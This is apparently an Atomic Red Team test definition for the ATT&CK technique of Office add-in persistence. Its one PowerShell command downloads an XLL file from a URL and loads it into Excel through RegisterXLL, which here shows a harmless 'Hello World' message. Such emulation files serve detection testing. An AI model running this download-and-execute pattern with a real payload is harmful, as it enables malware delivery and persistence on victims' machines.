attack_technique: T1137.006
display_name: 'Office Application Startup: Add-ins'
atomic_tests:
- name: Code Executed Via Excel Add-in File (Xll)
  auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3
  description: |
    Downloads a XLL file and loads it using the excel add-ins library.
    This causes excel to display the message "Hello World"
    Source of XLL - https://github.com/edparcell/HelloWorldXll 
  supported_platforms:
    - windows
  input_arguments:
    xll_url:
      description: url of the file HelloWorldXll.xll
      type: Url
      default: 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/HelloWorldXll.xll'
    local_file:
      description: name of the xll file 
      type: Path
      default: '$env:tmp\HelloWorldXll.xll'
  executor:
    name: powershell
    elevation_required: true 
    command: |
      powershell -c "iwr -URI '#{xll_url}' -o '#{local_file}'; IEX ((new-object -ComObject excel.application).RegisterXLL('$env:tmp\HelloWorldXll.xll'))"
